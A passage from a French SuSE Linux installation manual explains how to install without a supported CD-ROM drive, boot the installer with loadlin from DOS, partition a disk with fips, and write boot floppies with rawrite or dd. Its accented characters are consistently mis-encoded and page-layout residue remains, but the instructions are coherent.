De quoi est-il question ?
Avant l'installation, copiez (partiellement) les logiciels Linux sur une parti-
tion DOS de votre disque dur si le noyau standard du CD ne supporte pas
votre lecteur de CD-ROM ou si Linux ne supporte pas du tout le lecteur. Il ne
vous sera alors pas possible d'utiliser sous Linux le lecteur de CD-ROM soit
provisoirement, soit en rΦgle gΘnΘrale.
Conditions
Vous travaillez sous DOS, Windows ou OS/2 et vous savez que Linux ne
supporte pas votre lecteur de CD-ROM. Vous avez suffisamment de place sur
la partition DOS, OS/2 ou Windows (3.11 ou 95/98) et votre machine dispose
d'une quantitΘ suffisante de + mΘmoire.
Dans un premier temps, vous copierez uniquement les paquetages pour le
systΦme de base.
Pas α pas : : :
ProcΘdez de cette maniΦre pour copier sur votre disque dur les fichiers que
vous dΘsirez (si vous ne voulez pas exΘcuter les phases suivantes une par
une, le fichier batch lhdsetup.bat du rΘpertoire \dosutils\misc peut
Θventuellement vous Ωtre utile) :
1. CrΘez d'abord le rΘpertoire dans lequel vous voulez faire des copies. Vous
pouvez lui donner n'importe quel nom. Ici, dans notre exemple, il s'ap-
pelle \emil .
2. Au dessous de \emil , il vous faut encore le rΘpertoire suse et au mini-
mum les rΘpertoires a1 , images et setup . Ces derniers sont dΘjα nΘces-
saires pour l'installation du systΦme de base Linux. CrΘez donc ces rΘper-
toires. Dans la figure 2.17 page ci-contre, vous avez une vue d'ensemble
de l'arborescence des rΘpertoires requise.
46
____________________________________________________2.4.__Installation_sans_lecteur_de_CD-ROM_supportΘ_______________________*
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Fig. 2.17: Structure des rΘpertoires d'installation
3. Copiez les fichiers de \suse\a1 du CD 1 vers \emil\suse\a1 sur votre
disque dur. Si vous disposez de beaucoup de place sur la partition DOS,
copiez l'arborescence complΦte \suse du CD vers \emil\suse .
4. SΘlectionnez, dans \suse\images , un noyau qui supporte votre matΘ-
riel. Dans le fichier \suse\images\readme.dos , il est indiquΘ ce que
supporte chaque noyau.
Copiez ensuite le noyau vers \emil\suse\images . Un noyau est consti-
tuΘ de quatres fichiers (voir plus haut) : le noyau sans extension des noms
de fichiers et les fichiers avec les extensions .ikr , .inf et .map. Si vous
disposez de beaucoup d'espace sur votre disque dur, vous pouvez aussi
copier tous les fichiers. Vous remettrez la sΘlection du noyau α plus tard,
partie remise n'est pas perdue !
5. Pour plus de sΘcuritΘ, copiez les fichiers \suse\images\root et
\suse\images\initdisk.gz vers \emil\suse\images .
6. Copiez \suse\setup\loadlin.exe vers \emil\suse\setup .
7. Vous devrez encore dΘcompresser le fichier \suse\setup\root et le
transfΘrer vers \emil\suse\setup . Utilisez pour cela la version DOS
du programme gzip dans le rΘpertoire \dosutils du CD :
C:> cd \emil\suse
C:> gzip -dc < images\root > setup\inst-img
Ce fichier est relativement grand mais il n'est nΘcessaire que pour l'instal-
lation de base. Lorsque vous aurez un systΦme de base opΘrationnel, vous
pourrez α tout moment installer des paquetages supplΘmentaires α partir
de la partition DOS. Vous n'aurez alors plus besoin du fichier inst-img .
8. CrΘez le rΘpertoire \emil\suse\setup\descr sur votre disque dur et
copiez vers celui-ci tous les fichiers de \suse\setup\descr .
*
* 47
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
9. Si vous avez suffisamment de place sur votre disque dur, vous pouvez
encore crΘer le fichier \emil\suse\setup\du et copier vers celui-ci tous
les fichiers de \suse\setup\du . Ces fichiers ne sont pas absolument
indispensables mais ils vous permettront de faire plus tard des calculs
concernant les tailles des logiciels installΘs ou devant Ωtre installΘs par
YaST . C'est quelque chose de bien utile si vous avez la place nΘcessaire.
10. Vous avez maintenant ce qui est absolument indispensable pour un
systΦme Linux de base sur la partition DOS de votre disque. Mais il
manque encore tous les autres logiciels. Comme vous faites partie des
malchanceux dont le lecteur de CD-ROM n'est pas supportΘ, il vous
faudra d'abord tout enfourner par petites portions sur votre disque dur,
de lα installer avec YaST pour ensuite effacer ce que vous avez mis sur
le disque dur. Vous n'Ωtes pas obligΘ de le faire immΘdiatement, mais
si vous savez dΘjα ce que vous voulez, alors n'hΘsitez pas : crΘez le rΘ-
pertoire sous \emil\suse et copiez dans celui-ci les fichiers concernΘs.
Vous trouverez ce que vous pouvez installer en lisant les descriptions des
paquetages ou la documentation en ligne du CD.
Maintenant, l'installation peut commencer selon la description faite au para-
graphe 2.2.2 page 28.
Lorsque linuxrc vous interrogera au sujet du support source , spΘcifiez
`Disque dur' et en rΘponse α la question concernant la partition du disque
dur, spΘcifiez le + pΘriphΘrique de votre partition DOS. En rΦgle gΘnΘrale, ce
sera /dev/hda1 ou /dev/sda1 si DOS est installΘ sur la premiΦre partition
primaire.
Si vous avez adoptΘ les noms citΘs plus haut, vous devrez spΘcifier /emil
comme rΘpertoire source ~ ce sera la prochaine question. Ensuite l'ins-
tallation se poursuivra comme il est dΘcrit au paragraphe 2.2.4 page 33 et
pages suivantes. └ la question qui vous sera posΘe aprΦs le partitionnement,
vous ne devrez en aucun cas rΘpondre `tout le disque' ~ ceci rendrait
toutes vos prΘparations absolument inutiles.
2.4.2 Installation α partir d'une source ``rΘseau''
Pour rΘgler cette question, il ne vous est pas possible de bΘnΘficier des
services de l'Assistance Technique α l'Installation (voir paragraphe H.1.2
page 558). Cette mΘthode d'installation ne devrait Ωtre envisagΘe que par des
utilisateurs expΘrimentΘs.
De quoi est-il question ?
La machine sur laquelle SuSE Linux doit Ωtre installΘ ne dispose pas de
lecteur de CD-ROM et il n'existe pas non plus de partition DOS utilisable.
En revanche, vous pouvez Θtablir par le rΘseau une connexion avec une autre
machine dotΘe d'un lecteur de CD-ROM ou d'un disque sur lequel le contenu
du CD ~ comme il a ΘtΘ dΘcrit au paragraphe 2.4.1 page 46 ~ pourrait Ωtre
transfΘrΘ. Il est en outre indispensable de copier les fichiers .S.u.S.E-disk*
des CD-ROM sur le disque dur. Sous Linux, par exemple ainsi :
terre: # cp /cdrom/.S* /emil
terre: # cp -a /cdrom/suse /emil
48
____________________________________________________2.4.__Installation_sans_lecteur_de_CD-ROM_supportΘ______________________*
*______________________
Cette ``autre'' machine doit bien s√r ``exporter'' le rΘpertoire d'une maniΦre
adΘquate !
Pas α pas : : :
1. Commencez l'installation du client selon la description du para-
graphe 2.2.2 page 28
2. Poursuivez l'installation comme il est dΘcrit au paragraphe 2.2.3 page 29
~ toutefois :
~ Chargez les `Pilotes rΘseau' avec `Modules du noyau' et choi-
sissez celui qui convient. Ceci n'est pas indispensable si vous voulez
installer via PLIP.
~ Lorsque linuxrc vous interrogera au sujet du `Support source',
spΘcifiez `RΘseau (NFS)' et exΘcutez la configuration rΘseau pilotΘe
par menu. Alternativement, vous avez aussi la possibilitΘ d'installer via
FTP.
3. Terminez l'installation comme il a ΘtΘ dΘcrit α partir du paragraphe 2.2.4
page 33
ProblΦmes Θventuels
~ L'installation a ΘchouΘ avant d'avoir vΘritablement commencΘ : Le rΘper-
toire d'installation de ``l'autre'' machine n'a pas ΘtΘ exportΘ avec les droits
exec ~ faites-le maintenant.
~ Le serveur ne connaεt pas la machine sur laquelle SuSE Linux doit Ωtre
installΘ. Inscrivez, dans le /etc/hosts du serveur, le nom et l'adresse IP
de la machine sur laquelle doit se faire la nouvelle installation.
*
* 49
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
2.5 Encore une mΘthode d'installation : Setup et loadlin
2.5.1 Mettre Windows 95/98 en mode DOS
Vous devez mettre la machine sous DOS en mode rΘel pour pouvoir lancer le
programme d'installation Setup .
Le programme loadlin , invoquΘ par le programme d'installation Setup.exe ,
est un programme MS-DOS. Il ne peut charger en mΘmoire et dΘmarrer le
noyau Linux pour le + Linux initial que si le processeur fonctionne soit en
mode rΘel, soit en mode virtuel 8086 avec dans ce cas un serveur VCPI2 actif.
La fenΩtre DOS de Windows 95/98 est bien en mode virtuel 8086, mais elle
ne met pas de serveur VCPI α disposition et de ce fait Setup ne fonctionne
pas dans la fenΩtre DOS.
Pas α pas : : :
Il existe deux possibilitΘs : Passer de Windows 95/98 en mode DOS ou se
diriger vers l'invite d'entrΘe lors de l'amorτage.
Si Windows 95/98 tourne dΘjα, cliquez sur `DΘmarrer' - `ArrΩter : : : '
- `RedΘmarrer l'ordinateur en mode MS-DOS'. Puisque vous Ωtes de ___
toute faτon en train d'amorcer, appuyez au dΘmarrage de Windows 95 sur |___F|8
et sΘlectionnez alors `Seulement invite d'entrΘe'.
ProblΦmes Θventuels
Il peut survenir des problΦmes si vous n'avez pas de clavier franτais en mode
MS-DOS et si le pilote de CD-ROM n'est pas chargΘ.
~ En mode DOS, les accents et les caractΦres spΘciaux ne fonctionnent pas
(voir paragraphe 2.7.2 page 60)
~ En mode DOS, vous ne pouvez pas accΘder au lecteur de CD-ROM, voir
paragraphe 2.7.3 page 60
2.5.2 Lancement de Setup et premiΦre partie de Setup
Le programme Setup.exe prΘpare le dΘmarrage du + Linux initial. C'est ce
programme qui est maintenant lancΘ et sera exΘcutΘ jusqu'au moment o∙ il
faudra choisir entre deux mΘthodes de dΘmarrage pour le Linux initial.
Vous avez dΘmarrΘ MS-DOS ou une boεte MS-DOS qui ne tourne pas en
mode protΘgΘ. Vous avez insΘrΘ le premier CD dans le lecteur de CD-ROM et
vous y avez accΦs.
└ l'aide du programme Setup.exe , vous lancerez d'abord dans votre machine
un Linux initial qui rendra possible l'installation proprement dite de Linux.
Lancez maintenant Setup.exe et exΘcutez le programme jusqu'au moment o∙
les deux mΘthodes de dΘmarrage pour le Linux initial se distingueront l'une
de l'autre : disquette d'amorτage ou, avec loadlin , dΘmarrage direct α partir
du CD/disque dur.
_____________________________________________2
emm386.exe, par exemple, met α disposition un serveur VCPI.
50
____________________________________________2.5.__Encore_une_mΘthode_d'installation_:_Setup_et_loadlin______________________*
*______________________
Pas α pas : : :
Vous exΘcutez ainsi la premiΦre partie de Setup :
1. DΘmarrez setup dans le rΘpertoire de base du CD.
2. SΘlectionnez la langue (`Franτais') dans laquelle les dialogues de Se-
tup doivent se dΘrouler.
3. Entrez la lettre de votre lecteur de CD-ROM, par exemple E . La lettre du
lecteur a Θventuellement pu Ωtre modifiΘe α cause d'une partition DOS
supplΘmentaire.
4. Setup.exe vous souhaite maintenant_la_bienvenue et vous rΘpondez α une
telle cordialitΘ en appuyant sur |_____-|.
5. Les paragraphes suivants sont consacrΘs au lancement du + Linux initial.
Ce sujet est traitΘ dans une dΘcision (paragraphe 2.5.3) et des phases de
travail le concernant.
2.5.3 Comment amorcer le Linux initial α partir de setup ?
Il existe deux mΘthodes qui permettent de lancer le + Linux initial α partir du
programme setup : au moyen de disquettes ou directement α partir du CD α
l'aide de loadlin . Il s'agit maintenant de choisir l'une de ces deux voies.
Informations complΘmentaires
La mΘthode la plus simple et la plus commode consiste bien s√r α lancer le
Linux initial directement α partir du CD. On utilise α cette fin le programme
DOS loadlin.exe . Il charge sous DOS, α partir du CD, un fichier du noyau
dans la mΘmoire centrale, il prΘpare le chargement du disque RAM et com-
mence ensuite α exΘcuter le code du noyau. Afin que cela puisse marcher, la
machine doit tourner en mode rΘel ou en mode virtuel 8086 avec dans ce cas
un serveur VCPI3 actif. La boεte DOS de OS/2 ou de Windows NT est donc
ΘliminΘe.
L'amorτage α partir de disquettes fonctionne toujours mais il est un peu plus
fastidieux et prend plus de temps. Il est α noter qu'il s'agit des disquettes
crΘΘes avec setup . La solution la plus simple est naturellement l'utilisation
de la disquette d'amorτage SuSE (ou l'amorτage directement α partir du CD)
mais ce n'est pas de cela qu'il est question. Il s'agit ici de prendre la dΘcision
suivante : gΘnΘrer des disquettes avec setup ou charger directement le noyau
au moyen de loadlin .
Recommandation
Choisissez la voie loadlin lorsque c'est thΘoriquement possible, c'est-α-dire
si vous ne travaillez pas sous OS/2 ou sous Windows NT. En cas de doute,
faites un essai. Si cela ne marche pas, recommencez la procΘdure α partir du
paragraphe 2.5.2 page prΘcΘdente et choisissez alors la voie disquettes.
3 ____________________________________________________
emm386.exe met α disposition un serveur VCPI.
*
* 51
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
2.5.4 Installer loadlin et lancer le Linux initial
Dans cette phase de travail, vous utiliserez loadlin.exe avec lequel vous pour-
rez charger et dΘmarrer un noyau Linux α partir de DOS et faire tourner votre
+ Linux initial.
Conditions
Si vous Ωtes arrivΘ jusqu'ici et si vous vous sentez prΩt α recevoir la premiΦre
invite de Linux, vous avez rempli toutes les conditions !
Informations complΘmentaires
Setup crΘe alors le rΘpertoire \loadlin sur votre partition DOS. Il co-
pie dans ce rΘpertoire les programmes setup.exe , loadlin.exe , les fi-
chiers Linux.bat ainsi que le noyau sΘlectionnΘ sous le nom de zimage .
Si vous voulez dΘmarrer ultΘrieurement Linux (aprΦs l'installation), invo-
quez Linux.bat (vous devrez toutefois spΘcifier comme paramΦtre la parti-
tion racine (root). Nous reviendrons encore sur ce point au paragraphe 2.10.2
page 77).
└ la fin de cette phase, le noyau sera chargΘ et directement dΘmarrΘ.
Pas α pas : : :
Voici comment vous devez procΘder pour installer loadlin et lancer ainsi le
+ Linux initial.
1. SΘlectionnez l'option `loadlin' et appuyez sur |______|-.
2. Cet Θcran vous montre combien de RAM possΦde votre machine. Cette_
indication sera normalement correcte et vous validerez avec |_____-|. Au cas
o∙ la quantitΘ de RAM ne serait pas exacte, corrigez la valeur.
3. Vous devez maintenant prΘciser si Linux supporte votre lecteur de CD-
ROM.
~ Si Linux supporte votre lecteur de CD-ROM, appuyez sur |______|-et la
question est rΘglΘe.
~ Si Linux ne supporte pas votre lecteur de CD-ROM, il vous a dΘjα
fallu, au paragraphe 2.4.1 page 46, copier des fichiers sur votre_disque_
dur. Passez maintenant α l'option `Disque dur' et appuyez sur |_____-|.
SpΘcifiez ensuite le chemin dans lequel vous avez copiΘ le rΘpertoire
suse. Dans l'exemple donnΘ au paragraphe 2.4.1 page 46, nous avons
utilisΘ \emil et il faut donc entrer \emil (le rΘpertoire suse situΘ au
dessous n'a pas besoin d'Ωtre spΘcifiΘ).
4. Vous devez maintenant sΘlectionner un noyau adΘquat.
5. Nous passons dans cette phase aux paramΦtres du noyau. On spΘcifie un
paramΦtre par ligne, une ligne vide signifie terminΘ. Quels paramΦtres
peuvent Ωtre envisagΘs ici ?
Des explications dΘtaillΘes sur les paramΦtres du noyau se trouvent au
paragraphe 14.1 page 367. Vous trouverez aussi au paragraphe 14.3.2
page 370 une liste complΦte des paramΦtres du noyau qui ont un r⌠le α
jouer dans l'installation.
52
____________________________________________2.5.__Encore_une_mΘthode_d'installation_:_Setup_et_loadlin______________________*
*______________________
6. Le prochain Θcran vous demande si le programme loadlin doit Ωtre ins-
tallΘ. RΘpondez `Oui'. Setup crΘe maintenant le rΘpertoire \loadlin et
y copie les fichiers.
7. Nous lanτons maintenant le + Linux initial avec l'option `Charger Li-
nux'. Environ deux pages de texte ΘditΘ par le noyau dΘfilent plus ou
moins vite sous vos yeux. Si tout a bien marchΘ, linuxrc vous souhaite la
bienvenue. Vous pouvez aussi lire les messages du noyau en toute_tran-_ _________
quillitΘ_:_en_les_faisant_dΘfiler_dans les deux sens avec |S___________|hift+ *|_________|Page "
et |S___________|hift+ *|_________|Page. #
Maintenant l'installation est poursuivie comme il est dΘcrit α partir du para-
graphe 2.2.3 page 29.
ProblΦmes Θventuels
Il peut survenir ici des problΦmes α deux niveaux : il n'est pas possible α
loadlin de charger ou de dΘmarrer le noyau, ou le noyau ne s'accommode pas
de votre matΘriel :
~ loadlin n'a pas suffisamment de mΘmoire disponible pour charger le
noyau : voir paragraphe 2.7.9 page 63.
~ loadlin ne peut pas dΘmarrer le noyau, la machine tourne en mode vir-
tuel 8086 mais il n'y a pas de serveur VCPI disponible : voir para-
graphe 2.7.11 page 63.
~ loadlin ne fonctionne pas : voir paragraphe 2.7.10 page 63.
~ Le CD est dΘfectueux : voir paragraphe 2.7.4 page 60.
*
* 53
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
2.6 Blocs Info
2.6.1 Faire de la place pour Linux (partitionner)
Au cours de cette phase, votre disque dur sera prΘparΘ pour recevoir Linux.
Il est souhaitable que vous disposiez d'un peu de temps pour approfondir
ce chapitre en toute tranquillitΘ. Il vous est conseillΘ d'avoir des disquettes
ou des bandes pour une sauvegarde ainsi qu'une disquette d'amorτage du
systΦme d'exploitation que vous aviez jusqu'α prΘsent.
Informations complΘmentaires
Par le partitionnement, un disque dur peut Ωtre divisΘ en plusieurs zones in-
dΘpendantes les unes des autres. Une raison d'installer plusieurs partitions
est qu'il est possible de faire coexister, sur un mΩme disque dur, diffΘrents
systΦmes d'exploitation ayant des systΦmes de fichiers diffΘrents.
Comment faire maintenant de la place pour les partitions Linux ?
~ Il est possible d'effacer certaines partitions du disque dur, ce qui provoque
la perte de tous les fichiers qui se trouvent sur ces partitions. La place
qui a ΘtΘ faite est maintenant disponible pour de nouvelles partitions (par
exemple pour Linux) et l'espace libre ainsi obtenu peut Ωtre rΘparti entre
plusieurs partitions.
~ Vous pouvez aussi dΘdier certaines partitions α un autre systΦme d'exploi-
tation. Mais comme par l'effacement, vous perdez aussi dans ce cas tous
les fichiers de ces partitions.
~ Sous MS-DOS ou Windows 95, vous pouvez rΘduire la taille de la der-
niΦre partition du disque dur sans perdre les fichiers qu'elle contient.
Vous devez d'abord faire en sorte, α l'aide d'un programme de dΘfragmen-
tation, que tous les fichiers soient vraiment situΘs au dΘbut de la partition.
Si vous n'avez qu'une seule partition MS-DOS ou Windows, vous pouvez
de cette maniΦre faire trΦs facilement de la place pour les partitions Linux.
AprΦs la dΘfragmentation, vous pouvez, avec des programmes spΘciaux ~
tels que par exemple le programme entiΦrement libre fips ~ abaisser la li-
mite supΘrieure des cylindres et rΘduire ainsi la taille de la partition. Vous
trouverez fips sur le CD 1 dans le rΘpertoire dosutils.
~ Une solution trΦs commode mais co√teuse est de doter votre machine d'un
disque dur supplΘmentaire.
________________________________________________________________________________________________________*
*________|||
| *
* |||
| Toutes les modifications apportΘes au partitionnement doivent Ωtre rΘali- *
* |||
| sΘes avec le plus grand soin et en observant les instructions concernant les *
* |||
| *
* |||
| logiciels utilisΘs. Il peut malgrΘ tout survenir des problΦmes pouvant aller *
* |||
| jusqu'α la perte complΦte des donnΘes ! SuSE ne peut pas en assumer la *
* |||
| *
* |||
| responsabilitΘ. Il est en tout cas recommandable de sauvegarder aupara- *
* |||
| vant au moins les fichiers les plus importants et de tenir disponible une *
* |||
| *
* |||
| disquette d'amorτage vΘrifiΘe. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
54
_____________________________________________________________________________________________________________2.6.__Blocs_Inf*
*o_____________________
Pas α pas : : :
Comment procΘder pour partitionner votre disque dur :
1. Si vous ne le savez pas encore, vous devrez vΘrifier combien de partitions
possΦde votre disque dur et quelle est leur taille. Invoquez pour ce faire le
programme fdisk de votre systΦme d'exploitation.
2. PrΘvoyez le nombre et la taille des partitions dont vous avez besoin. Vous
trouverez des informations α ce sujet au paragraphe 2.8 page 67 et au
paragraphe 2.9 page 68.
3. Notez par Θcrit votre plan de partitionnement. Vous aurez besoin de ces
informations encore trΦs souvent au cours de l'installation.
4. Il est maintenant fortement conseillΘ de faire une sauvegarde du disque
dur. Si vous ne possΘdez pas de lecteur de bandes et si vous ne voulez
pas tout sauvegarder sur des disquettes, sauvegardez au moins vos don-
nΘes importantes ainsi que les fichiers de dΘmarrage et de configuration
(par exemple config.sys, autoexec.bat et *.ini). GΘnΘrez une dis-
quette d'amorτage pour le systΦme d'exploitation que vous aviez jusqu'α
prΘsent et faites un essai pour savoir si vous pouvez vous en servir pour
amorcer. Sur cette disquette d'amorτage, il vous faut aussi des outils tels
qu'un Θditeur, fdisk , le programme de formatage et votre programme de
sauvegarde.
5. La procΘdure se poursuit en fonction des caractΘristiques du systΦme :
~ DOS/WINDOWS 95/98, une partition sur le disque dur et pas de
sauvegarde complΦte des fichiers (angl. file backup) :
Vous devez rΘduire la taille de la partition sans perdre de donnΘes.
DΘplacez tous les fichiers vers le dΘbut de la partition. Vous pouvez
utiliser α cette fin par exemple le programme Defrag (MS-DOS 6 ou
Windows 95/98).
Les programmes de dΘfragmentation ne dΘplacent pas habituellement
les fichiers cachΘs ni les fichiers systΦme car de tels fichiers peuvent
avoir ΘtΘ situΘs, par une protection logicielle contre le copie, α un em-
placement bien dΘfini du disque dur. Si vous Ωtes s√r que votre disque
dur ne contient pas de tels fichiers, vous pouvez dΘsactiver l'attribut
cachΘ ou systΦme de tous les fichiers concernΘs ou, en fonction du
programme de dΘfragmentation utilisΘ, forcer la dΘfragmentation de
tels fichiers au moyen de paramΦtres. Les plus rΘcentes versions de
defrag utilisent l'option /P .
Le fichier d'Θchange de Windows (angl. Windows swap file) est aussi
un fichier cachΘ. Si le fichier n'est pas bien placΘ, vous devrez le mettre
hors fonction sous Windows dans le ``menu systΦme''.
Si vous avez fait suffisamment de place α la fin de la partition, pas-
sez au rΘpertoire \dosutils\fips\fips15 du premier CD. Vous y
trouverez le programme fips.exe avec lequel vous pourrez rΘduire la
taille de la partition. Dans ce mΩme rΘpertoire, vous trouverez aussi
des instructions dΘtaillΘes que vous devriez absolument Θtudier, en rai-
son de la complexitΘ du sujet, avant de lancer le programme ! D'autre
*
* 55
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
part, fips.exe ne tourne que sous DOS. Vous devrez donc quitter Win-
dows ou mettre Windows 95/98 en mode DOS (voir α ce sujet le para-
graphe 2.5.1 page 50).
AprΦs avoir exΘcutΘ fips.exe , vous aurez une deuxiΦme partition sur
votre disque dur. Elle sera plus tard divisΘe en partitions Linux.
________________________________________________________________________________________________________*
*________
| *
* |||
| Avec fips.exe du rΘpertoire \dosutils\fips\fips20 , il est possible de *
* |||
| rΘduire la taille de partitions fat32 . Mais avant d'utiliser cette version de *
* |||
| *
* |||
| Fips, vous devez absolument faire une copie de sauvegarde de vos don- *
* |||
| nΘes ! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
~ DOS/Windows 95/98 et plusieurs partitions ou, le cas ΘchΘant, sau-
vegarde complΦte des fichiers (angl. file backup) :
Vous effacez vos partitions et vous les recrΘez en rΘduisant leur taille.
Ceci entraεne la perte de toutes les donnΘes de ces partitions. Vous de-
vrez auparavant sauvegarder tous les fichiers (sauvegarde des fichiers
et non pas sauvegarde de l'image) ! Avec fdisk , vous effacerez les an-
ciennes partitions et vous crΘerez la (les) nouvelle(s) partition(s). En-
suite vous formaterez la (les) partition(s), vous installerez le systΦme
d'exploitation et vous rΘinstallerez tous les fichiers α partir de la sauve-
garde ; vous aviez aussi le programme de sauvegarde sur la disquette.
6. RΘamorcez votre machine.
7. VΘrifiez maintenant si votre ancien systΦme d'exploitation tourne de nou-
veau comme il convient. Vous crΘerez plus tard, avec YaST , les partitions
Linux dans la zone du disque dur mise α disposition.
ProblΦmes Θventuels
Les problΦmes suivants peuvent survenir :
~ La taille de la partition ne peut pas Ωtre rΘduite suffisamment du fait qu'il
n'est pas possible de dΘplacer certains fichiers : voir paragraphe 2.7.1
page 59.
~ Sous DOS ou sous Windows, le lecteur de CD-ROM a maintenant une
autre lettre de lecteur. Sous Windows 95/98, le poste de travail reste blo-
quΘe : voir paragraphe 2.7.12 page 64.
2.6.2 Utiliser le CD 2 pour l'amorτage
En plus du CD 1, vous disposez du deuxiΦme CD qui permet aussi d'amorcer.
Il est cependant utilisΘ sur le CD 1 un grande image de boot de 2,88 Mo alors
que le deuxiΦme CD contient une image traditionnelle de 1,44 Mo.
Utilisez le CD 2 dans tous les cas o∙ vous avez la certitude de pouvoir amor-
cer α partir d'un CD bien que le processus d'amorτage ne fonctionne pas α
partir du CD 1 (solution ``fallback''). Tous les BIOS ne reconnaissent malheu-
reusement pas toujours les grandes images de faτon correcte.
56
_____________________________________________________________________________________________________________2.6.__Blocs_Inf*
*o_____________________
2.6.3 CrΘer des disquettes d'amorτage
Conditions
Vous avez besoin d'une disquette HD de 3,5 pouces formatΘe et d'un lecteur
de disquettes de 3,5 pouces qui doit aussi permettre l'amorτage. Si vous
travaillez sous Windows 95/98 : vous ne devriez pas lancer setup dans la
boεte MS-DOS mais en mode MS-DOS.
Informations complΘmentaires
Le rΘpertoire /disks sur le CD 1 contient quelques images de disquettes.
Une telle image peut Ωtre copiΘe sur une disquette au moyen de programmes
auxiliaires appropriΘs. La disquette s'appelle alors disquette d'amorτage.
Le ``chargeur'' Syslinux et le programme linuxrc sont Θgalement sur ces
images de disquettes. Syslinux vous permet, pendant le processus d'amor-
τage, de choisir le noyau que vous dΘsirez et, en cas de besoin, de transmettre
des paramΦtres pour le matΘriel utilisΘ. ~ Le programme linuxrc vous assiste
lors du chargement des modules du noyau spΘcialement adaptΘs α votre ma-
tΘriel et dΘmarre ensuite l'installation.
Normalement, vous pouvez aussi vous servir de la disquette d'amorτage four-
nie par SuSE . Ce n'est que si vous possΘdez un matΘriel exotique qui n'est
pas supportΘ par le noyau modulaire de cette disquette ou si vous tΘlΘchar-
gez une image de disquette α partir d'Internet, par exemple depuis ftp:
//ftp.suse.com qu'il vous faudra gΘnΘrer votre propre disquette d'amor-
τage de la maniΦre dΘcrite ici.
Avec Setup
Pas α pas : : :
ProcΘdez de cette maniΦre pour crΘer un jeu de disquettes :
1. Lancez Setup directement α partir du CD 1.
2. SΘlectionnez l'option_`Floppy' et appuyez sur |______|-; ensuite `Boot' et
de nouveau |_____-|.
3. Vous devez maintenant choisir une disquette avec un noyau adΘquat qui
supporte votre adaptateur SCSI. Setup vous montre les donnΘes essen-
tielles concernant les noyaux. Si vous avez besoin d'autres informations,
vous pouvez consulter le fichier \disks\readme.dos . Retenez le nom
de votre noyau__car vous en aurez encore besoin par la suite. Appuyez
ensuite sur |_____-|.
4. Maintenant la disquette va Ωtre Θcrite. InsΘrez la disquette (formatΘe DOS)
dans le lecteur de 3,5 pouces et choisissez la disquette que vous voulez
crΘer.
~ Occupez-vous seulement de la disquette d'amorτage (boot) (avec
SuSE Linux, `Root' _n'est_ plus nΘcessaire !) : Placez le curseur sur
`Boot' et appuyez sur |_____-|.
*
* 57
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
~ Setup veut_avoir la confirmation qu'une disquette est insΘrΘe. Appuyez
sur |_____-|. La disquette est Θcrite.
~ Lorsque la disquette est prΩte, appuyez sur |______|-.
~ SΘlectionnez l'option `PrΩt' pour quitter l'Θcran et Setup .
Avec rawrite
Vous avez aussi l'alternative d'utiliser le programme DOS (Θventuellement
plus lent) rawrite.exe (CD 1, rΘpertoire \dosutils\rawrite pour Θcrire la
disquette α l'invite du DOS !
Vous trouverez sur le CD 1, dans le rΘpertoire /disks, les images de dis-
quettes standard. Nous vous conseillons de lire les fichiers README qui s'y
trouvent Θgalement. L'image bootdisk sert de modΦle pour la disquette stan-
dard. Les noyaux proprement dits sont dans le fichier /suse/images et leurs
noms se terminent par .ikr.
Si vous avez besoin de la disquette standard fournie avec toute version de
SuSE Linux, procΘdez de la maniΦre suivante. Nous supposons ici que vous
vous trouvez dans le rΘpertoire principal du CD :
Q:> dosutils\rawrite\rawrite disks\bootdisk
Les choses se compliquent quelque peu s'il vous faut, par exemple, un noyau
pour les circuits EIDE spΘciaux. Dans un tel cas, Θcrivez tout d'abord l'image
standard sur la disquette et remplacez le noyau proprement dit (linux) par le
noyau EIDE spΘcial (par exemple eide.ikr) :
Q:> dosutils\rawrite\rawrite disks\bootdisk
Q:> copy suse\images\eide.ikr a:\linux
2.6.4 CrΘer des disquettes d'amorτage avec Unix
Conditions
Vous avez, sur un systΦme Unix/Linux, un lecteur de CD-ROM parfaitement
fonctionnel. Il vous faut une disquette vΘrifiΘe (et formatΘe).
ProcΘdez de cette maniΦre pour crΘer des disquettes d'amorτage :
1. Si vous devez encore formater la disquette :
terre: # fdformat /dev/fd0u1440
2. Montez le premier CD (par exemple vers /cdrom) :
terre: # mount -tiso9660 /dev/cdrom /cdrom
3. Passez au rΘpertoire disks sur le CD :
terre: # cd /cdrom/disks
4. CrΘez maintenant la disquette d'amorτage avec
terre: # dd if=/cdrom/disks/bootdisk of=/dev/fd0 bs=8k
Dans le fichier README du rΘpertoire disks, vous apprendrez ce que peut
faire chaque noyau. Vous pouvez lire ces fichiers avec more ou less (au
sujet de less , voir le paragraphe 19.7.3 page 489).
58
___________________________________________________________________________________2.7.__Descriptions_de_problΦmes__________*
*______________________
5. S'il vous faut un autre noyau, procΘdez comme suit :
terre: # dd if=/cdrom/disks/bootdisk of=/dev/fd0 bs=8k
terre: # mount -t msdos /dev/fd0 /mnt
terre: # cp /cdrom/suse/images/eide.ikr /mnt/linux
terre: # umount /mnt
2.6.5 Linux supporte-il mon lecteur de CD-ROM ?
On peut dire en rΦgle gΘnΘrale que la plupart des lecteurs de CD-ROM sont
supportΘs.
~ Pour les lecteurs + ATAPI, il ne devrait pas y avoir de problΦmes.
~ Pour les lecteurs de CD-ROM SCSI, cela dΘpend uniquement du contr⌠-
leur SCSI auquel est connectΘ le lecteur de CD-ROM et qui doit Ωtre
lui-mΩme supportΘ. La base de donnΘes des composants (CDB) que vous
trouverez dans le paquetage cdb, sΘrie doc ou sous http://cdb.suse.
de/, vous fournit la liste des contr⌠leurs SCSI supportΘs. Si votre contr⌠-
leur SCSI n'est pas supportΘ et si votre disque dur est aussi rattachΘ au
contr⌠leur, vous avez de toute faτon un problΦme :-(
~ De nombreux lecteurs de CD-ROM spΘcifiques aux diffΘrents fabricants
fonctionnent avec Linux. Dans ce groupe on peut nΘanmoins rencontrer
des difficultΘs. Si votre lecteur n'est pas explicitement mentionnΘ, vous
pouvez toujours faire un essai avec un type analogue du mΩme fabricant.
